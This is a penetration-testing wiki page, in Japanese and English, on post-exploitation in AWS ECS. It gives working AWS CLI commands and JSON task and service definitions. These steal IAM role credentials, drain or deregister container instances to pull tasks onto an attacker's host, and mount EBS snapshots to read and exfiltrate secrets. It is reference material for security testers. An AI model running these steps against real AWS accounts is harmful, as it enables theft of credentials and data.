# AWS - ECS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

詳細は次を参照してください：

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### ホスト IAM ロール

In ECS、コンテナ内で実行されるタスクに **IAM ロールを割り当てることができます**。**If** タスクが **EC2** インスタンス内で実行されている場合、**EC2 instance** には **別の IAM** ロールがアタッチされます。\
つまり、ECS インスタンスを **侵害** できれば、ECR や EC2 インスタンスに関連付けられた **IAM ロールを取得できる可能性がある** ということです。これらの認証情報の取得方法については次を参照してください：

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}

> [!CAUTION]
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

### Privesc to node to steal other containers creds & secrets

さらに、EC2 は docker を使って ECS タスクを実行しているため、ノードにエスケープするか **docker socket にアクセス**できれば、どの **他のコンテナ** が実行されているかを **確認** し、実際に **それらに侵入して** アタッチされた **IAM ロールを盗む** ことさえ可能です。

#### 現在のホストでコンテナを実行させる

さらに、**EC2 instance role** は通常、クラスタ内のノードとして使用されている EC2 インスタンスの **container instance state を更新する権限** を持っていることが多いです。攻撃者はインスタンスの **state を DRAINING に変更** でき、その場合 ECS はそのインスタンスから **全てのタスクを削除** し、**REPLICA** として実行されているタスクは別のインスタンスで **実行される** ことになります。場合によっては攻撃者のインスタンス内で実行され、コンテナ内の IAM ロールや機密情報を **盗む** ことができます。
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
同じ手法は **deregistering the EC2 instance from the cluster** でも行えます。これは潜伏性が低くなる可能性がありますが、タスクを他のインスタンスで実行するよう**強制します:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行うための 3 つの API が存在します:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### ECR コンテナから機密情報を盗む

EC2 インスタンスはおそらく `ecr:GetAuthorizationToken` 権限も持っており、**イメージをダウンロード**できる（その中から機密情報を検索できる）。




### ECS タスク内に EBS スナップショットを直接マウントする (configuredAtLaunch + volumeConfigurations)

ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取る。

- Needs (minimum):
- ecs:RegisterTaskDefinition
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
- ボリュームに使用される ECS インフラストラクチャロール（ポリシー: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`）
- タスク定義で参照されている Task execution/Task roles
- スナップショットが CMK で暗号化されている場合: infra role に対する KMS 権限（上記の AWS 管理ポリシーには AWS 管理キー用の必要な KMS 権限が含まれます）。

- Impact: コンテナ内でスナップショットから任意のディスク内容（例: データベースファイル）を読み取り、ネットワーク／ログ経由で持ち出すことができる。

Steps (Fargate example):

1) ECS インフラストラクチャロールを作成（存在しない場合）し、マネージドポリシーをアタッチする:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) タスク定義を登録し、ボリュームを `configuredAtLaunch` とマークしてコンテナにマウントします。例（秘密を出力してからスリープ）:
```json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) `volumeConfigurations.managedEBSVolume` を介して EBS snapshot を渡してサービスを作成または更新します（infra role に iam:PassRole が必要）。例:
```json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
```
4) タスクが開始すると、コンテナは構成されたマウントパス（例: `/loot`）でスナップショットの内容を読み取ることができます。 Exfiltrate via the task’s network/logs.

クリーンアップ:
```bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
## 参考文献

- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)

{{#include ../../../../banners/hacktricks-training.md}}
